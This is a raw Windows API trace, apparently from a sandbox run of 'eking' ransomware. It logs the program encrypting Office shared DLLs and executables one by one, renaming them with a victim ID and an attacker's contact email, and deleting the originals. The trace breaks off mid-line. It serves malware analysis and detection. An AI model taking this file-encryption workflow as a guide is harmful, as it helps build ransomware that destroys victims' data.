1 [0274.567] SetEvent (hEvent=0xe0) returned 1 [0274.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0274.694] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=5072816) returned 1 [0274.694] CloseHandle (hObject=0xc0) returned 1 [0274.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll")) returned 0x20 [0274.695] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0274.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0274.699] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0274.701] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0274.701] ReadFile (in: hFile=0xc0, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0274.917] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x19cd3a, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0274.917] ReadFile (in: hFile=0xc0, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0274.962] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x4967b0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0274.962] ReadFile (in: hFile=0xc0, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0275.003] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0275.003] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0102, lpOverlapped=0x0) returned 1 [0275.203] SetEndOfFile (hFile=0xc0) returned 1 [0275.203] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x4967b0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0275.203] WriteFile (in: hFile=0xc0, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0275.206] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x19cd3a, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0275.206] WriteFile (in: hFile=0xc0, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0275.209] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0275.209] WriteFile (in: hFile=0xc0, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0275.211] FlushFileBuffers (hFile=0xc0) returned 1 [0275.903] CloseHandle (hObject=0xc0) returned 1 [0275.904] SetEvent (hEvent=0xe0) returned 1 [0275.905] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0275.905] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=56144) returned 1 [0275.905] CloseHandle (hObject=0xc0) returned 1 [0275.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll")) returned 0x20 [0275.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll")) returned 0x20 [0275.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0275.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0275.906] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0275.906] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0275.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x178 [0275.907] ReadFile (in: hFile=0xc0, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0xdb50, lpOverlapped=0x0) returned 1 [0275.951] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xdb60, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xdb60, lpOverlapped=0x0) returned 1 [0275.953] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0275.954] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0275.954] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0275.954] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xdb50, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0xdb50, lpOverlapped=0x0) returned 1 [0275.954] FlushFileBuffers (hFile=0xc0) returned 1 [0275.972] FlushFileBuffers (hFile=0x178) returned 1 [0275.975] CloseHandle (hObject=0xc0) returned 1 [0275.976] CloseHandle (hObject=0x178) returned 1 [0275.976] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll")) returned 1 [0275.978] SetEvent (hEvent=0xe0) returned 1 [0275.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0275.979] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=121168) returned 1 [0275.979] CloseHandle (hObject=0x178) returned 1 [0275.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe")) returned 0x20 [0275.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe")) returned 0x20 [0275.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0275.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0275.980] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0275.980] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0275.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xc0 [0275.983] ReadFile (in: hFile=0x178, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x1d950, lpOverlapped=0x0) returned 1 [0275.989] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x1d960, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x1d960, lpOverlapped=0x0) returned 1 [0275.994] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0275.994] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0275.994] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0275.994] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x1d950, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x1d950, lpOverlapped=0x0) returned 1 [0275.995] FlushFileBuffers (hFile=0x178) returned 1 [0276.000] FlushFileBuffers (hFile=0xc0) returned 1 [0276.003] CloseHandle (hObject=0x178) returned 1 [0276.003] CloseHandle (hObject=0xc0) returned 1 [0276.004] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe")) returned 1 [0276.006] SetEvent (hEvent=0xe0) returned 1 [0276.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0276.007] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=56192) returned 1 [0276.007] CloseHandle (hObject=0xc0) returned 1 [0276.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll")) returned 0x20 [0276.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll")) returned 0x20 [0276.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0276.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmlmf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0276.008] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1198464) returned 1 [0276.008] CloseHandle (hObject=0xc0) returned 1 [0276.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll")) returned 0x20 [0276.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll")) returned 0x20 [0276.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0276.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0276.008] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.008] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x178 [0276.009] ReadFile (in: hFile=0xc0, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x110100, lpOverlapped=0x0) returned 1 [0276.121] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x110100, lpOverlapped=0x0) returned 1 [0276.148] ReadFile (in: hFile=0xc0, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x14880, lpOverlapped=0x0) returned 1 [0276.149] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x14890, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x14890, lpOverlapped=0x0) returned 1 [0276.150] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0276.151] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.151] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.151] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x110102, lpOverlapped=0x0) returned 1 [0276.157] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x1487e, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x1487e, lpOverlapped=0x0) returned 1 [0276.157] FlushFileBuffers (hFile=0xc0) returned 1 [0276.268] FlushFileBuffers (hFile=0x178) returned 1 [0276.532] CloseHandle (hObject=0xc0) returned 1 [0276.533] CloseHandle (hObject=0x178) returned 1 [0276.533] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll")) returned 1 [0276.544] SetEvent (hEvent=0xe0) returned 1 [0276.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0276.545] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=705392) returned 1 [0276.545] CloseHandle (hObject=0x178) returned 1 [0276.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll")) returned 0x20 [0276.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll")) returned 0x20 [0276.545] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0276.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0276.545] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.545] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0276.545] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xc0 [0276.546] ReadFile (in: hFile=0x178, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0xac370, lpOverlapped=0x0) returned 1 [0276.562] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xac380, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xac380, lpOverlapped=0x0) returned 1 [0276.574] WriteFile (in: hFile=0xc0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0276.574] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.574] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0276.574] WriteFile (in: hFile=0x178, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xac370, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0xac370, lpOverlapped=0x0) returned 1 [0276.576] FlushFileBuffers (hFile=0x178) returned 1 [0276.585] FlushFileBuffers (hFile=0xc0) returned 1 [0276.588] CloseHandle (hObject=0x178) returned 1 [0276.589] CloseHandle (hObject=0xc0) returned 1 [0276.589] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll")) returned 1 [0276.597] SetEvent (hEvent=0xe0) returned 1 [0276.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0276.598] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=6747) returned 1 [0276.598] CloseHandle (hObject=0xc0) returned 1 [0276.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab")) returned 0x20 [0276.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab")) returned 0x20 [0276.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0276.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0276.599] 